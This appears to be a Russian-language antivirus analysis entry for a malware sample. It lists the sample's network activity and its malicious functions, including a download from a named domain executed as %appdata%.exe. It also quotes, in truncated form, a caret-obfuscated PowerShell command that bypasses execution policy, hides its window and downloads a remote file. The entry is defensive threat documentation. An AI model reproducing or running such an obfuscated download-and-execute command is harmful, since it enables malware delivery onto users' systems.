Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://randoz-pandom.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "poW^e^R^she^ll^.e^xE -^ExEc^uTioNPO^Li^Cy^ bY^P^A^Ss^ ^-^NopRO^FI^le^ ^-WInDoW^St^Y^l^E ^H^IDd^eN (nE^w-oBJ^e^c^T^ ^sYStEm^.^net.^wEBC^LienT^).Dow^NLOADFILe('http://randoz-pandom...
Сетевая активность
UDP
- DNS ASK ra####-pandom.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "poW^e^R^she^ll^.e^xE -^ExEc^uTioNPO^Li^Cy^ bY^P^A^Ss^ ^-^NopRO^FI^le^ ^-WInDoW^St^Y^l^E ^H^IDd^eN (nE^w-oBJ^e^c^T^ ^sYStEm^.^net.^wEBC^LienT^).Dow^NLOADFILe('http://randoz-pandom...' (со скрытым окном)
